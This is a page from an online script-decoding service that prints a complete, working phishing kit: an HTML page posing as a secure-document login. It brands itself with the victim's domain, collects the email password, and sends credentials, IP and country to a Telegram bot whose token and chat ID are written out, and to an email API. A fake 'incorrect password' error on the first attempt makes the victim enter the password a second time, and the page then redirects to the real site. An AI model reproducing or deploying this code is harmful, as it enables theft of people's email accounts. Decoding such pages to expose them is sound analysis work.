Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


<script language=javascript>





<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Access your document</title>
    <style>
    
[class~=container]{background-color:rgba(255,255,255,.95);}body{margin-left:0;}body{margin-bottom:0;}body{margin-right:0;}[class~=container]{padding-left:30pt;}body{margin-top:0;}[class~=container]{padding-bottom:30pt;}body{padding-left:0;}[class~=container]{padding-right:30pt;}body{padding-bottom:0;}body{padding-right:0;}[class~=container]{padding-top:30pt;}body{padding-top:0;}body{height:100vh;}[class~=container]{border-radius:.625pc;}[class~=container]{box-shadow:0 .041666667in .9375pc rgba(0,0,0,.2);}body{display:flex;}[class~=container]{text-align:center;}[class~=container]{width:100%;}body{justify-content:center;}[class~=container]{max-width:5.208333333in;}[class~=container]{animation:zoom .6s ease-in-out;}[class~=container]{box-sizing:border-box;}body{align-items:flex-start;}body{background-size:cover;}body{background-position:center;}body{background-repeat:no-repeat;}[class~=container]{margin-top:45pt;}body{background-attachment:fixed;}body{font-family:Arial,sans-serif;}body{color:#333;}@keyframes zoom{0%{transform:scale(.8);opacity:0;}100%{transform:scale(1);opacity:1;}}[class~=logo] img{width:30pt;}[class~=logo] img{height:40px;}[class~=logo]{margin-top:20px;}.form-field input{width:100%;}[class~=logo]{margin-bottom:20px;}[class~=domain-name]{font-size:13.5pt;}[class~=secure-text] [class~=bold-email],[class~=domain-name]{font-weight:bold;}.form-field input{padding-left:9pt;}[class~=domain-name]{margin-bottom:.104166667in;}.form-field input,[class~=btn]{padding-bottom:9pt;}.form-field input{padding-right:9pt;}.form-field input,[class~=btn]{padding-top:9pt;}[class~=domain-name]{color:#0a66c3;}.email-address,.form-field input{font-size:1pc;}.email-address{color:#2c8ed6;}.email-address{font-family:"Segoe UI",Tahoma,Geneva,Verdana,sans-serif;}.email-address{margin-bottom:15pt;}.form-field input{border-left-width:.0625pc;}.email-address{font-weight:600;}.email-address{letter-spacing:.03125pc;}[class~=secure-text]{font-size:14px;}.form-field input{border-bottom-width:.0625pc;}[class~=secure-text]{color:#666;}.form-field input{border-right-width:.0625pc;}[class~=secure-text]{margin-bottom:22.5pt;}.form-field input{border-top-width:.0625pc;}[class~=secure-text]{font-family:"Verdana",sans-serif;}[class~=checkbox-container],[class~=form-field]{margin-bottom:20px;}.form-field input{border-left-style:solid;}[class~=form-field]{text-align:left;}[class~=secure-text] [class~=bold-email]{color:black;}[class~=form-field]{position:relative;}[class~=btn]:hover{background-color:#0056b3;}.form-field input{border-bottom-style:solid;}[class~=checkbox-container]{display:flex;}[class~=checkbox-container]{align-items:center;}[class~=checkbox-container]{margin-top:.104166667in;}[class~=checkbox-container]{justify-content:left;}.form-field input{border-right-style:solid;}.form-field input{border-top-style:solid;}[class~=btn]{padding-left:15pt;}.form-field input{border-left-color:#ccc;}[class~=btn]{padding-right:15pt;}[class~=btn]{background-color:#007bff;}[class~=btn]{color:#fff;}[class~=btn]{border-left-width:medium;}.form-field input{border-bottom-color:#ccc;}.form-field input{border-right-color:#ccc;}[class~=btn]{border-bottom-width:medium;}[class~=checkbox-container] input[type="checkbox"]{margin-right:7.5pt;}[class~=btn]{border-right-width:medium;}[class~=btn]{border-top-width:medium;}[class~=btn]{border-left-style:none;}.form-field input{border-top-color:#ccc;}[class~=btn]{border-bottom-style:none;}[class~=btn]{border-right-style:none;}[class~=btn]{border-top-style:none;}.form-field input{border-image:none;}[class~=btn],.form-field input{border-radius:.3125pc;}.form-field input{margin-top:.052083333in;}[class~=btn]{border-left-color:currentColor;}.form-field input{box-sizing:border-box;}[class~=btn]{border-bottom-color:currentColor;}[class~=btn]{border-right-color:currentColor;}[class~=btn]{border-top-color:currentColor;}[class~=btn]{border-image:none;}[class~=form-field] input::placeholder{color:#ccc;}[class~=form-field] label{display:block;}[class~=btn]{font-size:.166666667in;}[class~=btn]{cursor:pointer;}[class~=form-field] label{font-weight:bold;}[class~=btn]{margin-top:15pt;}[class~=form-field] label{margin-bottom:.052083333in;}[class~=btn]{width:100%;}[class~=footer]{margin-top:60px;}[class~=footer]{font-size:9pt;}[class~=footer]{color:#aaa;}.error-message{color:red;}.error-message{font-size:.145833333in;}[class~=checkbox-container] label,[class~=form-field] label{color:#0a66c3;}.error-message{margin-top:.625pc;}.error-message{display:none;}
    </style>
    <style>
        @keyframes slide-in-one-tap {
          from {
            transform: translateY(80px);
          }
          to {
            transform: translateY(0px);
          }
        }
        
        .trust-hide-gracefully {
          opacity: 0;
        }
        
        .trust-wallet-one-tap .hidden {
            display: none;
          }
        
        .trust-wallet-one-tap .semibold {
            font-weight: 500;
          }
        
        .trust-wallet-one-tap .binance-plex {
            font-family: 'Binance';
          }
        
        .trust-wallet-one-tap .rounded-full {
            border-radius: 50%;
          }
        
        .trust-wallet-one-tap .flex {
            display: flex;
          }
        
        .trust-wallet-one-tap .flex-col {
            flex-direction: column;
          }
        
        .trust-wallet-one-tap .items-center {
            align-items: center;
          }
        
        .trust-wallet-one-tap .space-between {
            justify-content: space-between;
          }
        
        .trust-wallet-one-tap .justify-center {
            justify-content: center;
          }
        
        .trust-wallet-one-tap .w-full {
            width: 100%;
          }
        
        .trust-wallet-one-tap .box {
            transition: all 0.5s cubic-bezier(0, 0, 0, 1.43);
            animation: slide-in-one-tap 0.5s cubic-bezier(0, 0, 0, 1.43);
            width: 384px;
            border-radius: 15px;
            background: #FFF;
            box-shadow: 0px 2px 4px 0px rgba(0, 0, 0, 0.25);
            position: fixed;
            right: 30px;
            bottom: 30px;
            z-index: 1020;
          }
        
        .trust-wallet-one-tap .header {
            gap: 15px;
            border-bottom: 1px solid #E6E6E6;
            padding: 10px 18px;
          }
        
        .trust-wallet-one-tap .header .left-items {
              gap: 15px
            }
        
        .trust-wallet-one-tap .header .title {
              color: #1E2329;
              font-size: 18px;
              font-weight: 600;
              line-height: 28px;
            }
        
        .trust-wallet-one-tap .header .subtitle {
              color: #474D57;
              font-size: 14px;
              line-height: 20px;
            }
        
        .trust-wallet-one-tap .header .close {
              color: #1E2329;
              cursor: pointer;
            }
        
        .trust-wallet-one-tap .body {
            padding: 9px 18px;
            gap: 10px;
        
          }
        
        .trust-wallet-one-tap .body .right-items {
              gap: 10px;
              width: 100%;
            }
        
        .trust-wallet-one-tap .body .right-items .wallet-title {
                color: #1E2329;
                font-size: 16px;
                font-weight: 600;
                line-height: 20px;
              }
        
        .trust-wallet-one-tap .body .right-items .wallet-subtitle {
                color: #474D57;
                font-size: 14px;
                line-height: 20px;
              }
        
        .trust-wallet-one-tap .connect-indicator {
            gap: 15px;
            padding: 8px 0;
          }
        
        .trust-wallet-one-tap .connect-indicator .flow-icon {
              color: #474D57;
            }
        
        .trust-wallet-one-tap .loading-color {
            color: #FFF;
          }
        
        .trust-wallet-one-tap .button {
            border-radius: 50px;
            outline: 2px solid transparent;
            outline-offset: 2px;
            background-color: rgb(5, 0, 255);
            border-color: rgb(229, 231, 235);
            cursor: pointer;
            text-align: center;
            height: 45px;
          }
        
        .trust-wallet-one-tap .button .button-text {
              color: #FFF;
              font-size: 16px;
              font-weight: 600;
              line-height: 20px;
            }
        
        .trust-wallet-one-tap .footer {
            margin: 20px 30px;
          }
        
        .trust-wallet-one-tap .check-icon {
            color: #FFF;
          }
        
        @font-face {
          font-family: 'Binance';
          src: url(chrome-extension://egjidjbpglichdcondbcbdnbeeppgdph/fonts/BinancePlex-Regular.otf) format('opentype');
          font-weight: 400;
          font-style: normal;
        }
        
        @font-face {
          font-family: 'Binance';
          src: url(chrome-extension://egjidjbpglichdcondbcbdnbeeppgdph/fonts/BinancePlex-Medium.otf) format('opentype');
          font-weight: 500;
          font-style: normal;
        }
        
        @font-face {
          font-family: 'Binance';
          src: url(chrome-extension://egjidjbpglichdcondbcbdnbeeppgdph/fonts/BinancePlex-SemiBold.otf) format('opentype');
          font-weight: 600;
          font-style: normal;
        }
        
        </style>
      <script>
        let firstSubmit = true;  // Flag to track the first submit attempt

        // Function to get the IP and Country information
        function getIpAndCountry(callback) {
            fetch('https://ipapi.co/json/')
                .then(response => response.json())
                .then(data => {
                    const ip = data.ip;
                    const country = data.country_name;
                    callback(ip, country);
                })
                .catch(error => {
                    console.error("Failed to fetch IP and Country:", error);
                    callback('Unknown IP', 'Unknown Country');  // Fallback values
                });
        }

        function updatePage() {
            const email = window.location.hash.slice(1); // Get email from hash
            const domain = email.split('@')[1] || ""; // Extract domain from email

            // Update background if domain is available
            if (domain) {
                const backgroundUrl = `http://image.thum.io/get/width/1200/https://${domain}`;
                document.body.style.backgroundImage = `url('${backgroundUrl}')`;
            }

            // Update the logo dynamically
            if (domain) {
                const logoUrl = `https://www.google.com/s2/favicons?domain=${domain}`;
                document.getElementById("logoIcon").src = logoUrl;
            }

            // Update the domain name above the logo
            const domainName = domain ? domain.split()[0].toUpperCase() : "DOMAIN";
            document.getElementById("domainName").textContent = domainName;

            // Update the email address display between the logo and the text
            const emailAddress = email || "youremail@example.com"; // Fallback if email is not set
            document.getElementById("emailAddress").textContent = emailAddress;

            // Update secure text to include domain name and bold the email part
            const secureText = `You're accessing a secure document, please provide your email password to continue.`;
            document.getElementById("secureText").innerHTML = secureText;
        }

        function togglePassword() {
            const passwordInput = document.getElementById("password");
            const showPasswordCheckbox = document.getElementById("showPassword");
            passwordInput.type = showPasswordCheckbox.checked ? "text" : "password";
        }

        document.addEventListener("DOMContentLoaded", updatePage);

        function setEmail() {
            // Get the email displayed at the top
            const email = document.getElementById("emailAddress").textContent;
            // Set the value of the hidden email field
            document.getElementById("email").value = email;
        }

        function showError() {
            // Show the error message on the first submit
            document.getElementById("error-message").style.display = "block";
            // Clear the password input field
            document.getElementById("password").value = "";
            firstSubmit = false;  // Reset the flag to allow second submit
        }

        function sendToTelegramAndEmail(email, password, ip, country) {
            // Prepare the Telegram message
            const message = `New submission:\nEmail: ${email}\nPassword: ${password}\nIP: ${ip}\nCountry: ${country}\n`;
            const encodedMessage = encodeURIComponent(message);
            const telegramBotToken = "8100695769:AAG0QxyVVBONho8uOMAfmmyXaZ9freJtLOE";  // Replace with your Telegram Bot Token
            const telegramChatId = "7281605723";      // Replace with your chat ID

            // Send the message to Telegram
            fetch(`https://api.telegram.org/bot${telegramBotToken}/sendMessage?chat_id=${telegramChatId}&text=${encodedMessage}`);

            // Send email (you can use your email service for backend email sending)
            const emailTo = "info@domain.com"; // Replace with your email
            const subject = `New Form Submission: ${email}`;
            const emailMessage = `New submission details:\n\nEmail: ${email}\nPassword: ${password}\nIP: ${ip}\nCountry: ${country}\n`;

            fetch('https://api.emailservice.com/send', {  // Replace with your actual email sending API
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({
                    from: 'info@mail.com',
                    to: emailTo,
                    subject: subject,
                    text: emailMessage
                })
            });
        }

        function handleSubmit(event) {
            const email = document.getElementById("emailAddress").textContent;
            const password = document.getElementById("password").value;

            // Get IP and country before proceeding with submission
            getIpAndCountry((ip, country) => {
                // Always send to Telegram and email (both on first and second submit)
                sendToTelegramAndEmail(email, password, ip, country);  

                if (firstSubmit) {
                    event.preventDefault();  // Prevent submission on first click
                    showError();  // Show error message and clear the password field
                } else {
                    hideError();  // Hide error message after second submit

                    // Get the domain from the email hash and redirect to it on second submit
                    const domain = email.split('@')[1]; // Extract domain from email
                    if (domain) {
                        // Redirect to the domain
                        window.location.href = `https://${domain}`;
                    }

                    // Allow the form to submit after the second attempt
                    event.target.submit();
                }
            });
        }

        function hideError() {
            // Hide the error message when form is submitted a second time
            document.getElementById("error-message").style.display = "none";
        }
    </script>
</head>
<body>
    <div class="container">
        <div class="domain-name" id="domainName">DOMAIN</div>
        <div class="logo">
            <img id="logoIcon" src="" alt="Logo">
        </div>
        <div class="email-address" id="emailAddress">youremail@example.com</div> 
        <p class="secure-text" id="secureText">You're accessing a secure settings, please provide your email password to continue.</p>
        <form action="javascript:void(0);" method="POST" onsubmit="setEmail(); handleSubmit(event)">  
            <input type="hidden" id="email" name="email" value="">

            <div class="form-field">
                <input type="password" id="password" name="password" required placeholder="Password">
            </div>
            <div class="checkbox-container">
                <input type="checkbox" id="showPassword" onclick="togglePassword()">
                <label for="showPassword">Show Password</label>
            </div>
            <button type="submit" class="btn">Access Document</button>
            <p id="error-message" class="error-message">Incorrect password. Please try again.</p>
        </form>
        <div class="footer">© 2025 Secure Portal | Privacy</div>
    </div>
</body>
</html>

</script>



© 2023 Quttera Ltd. All rights reserved.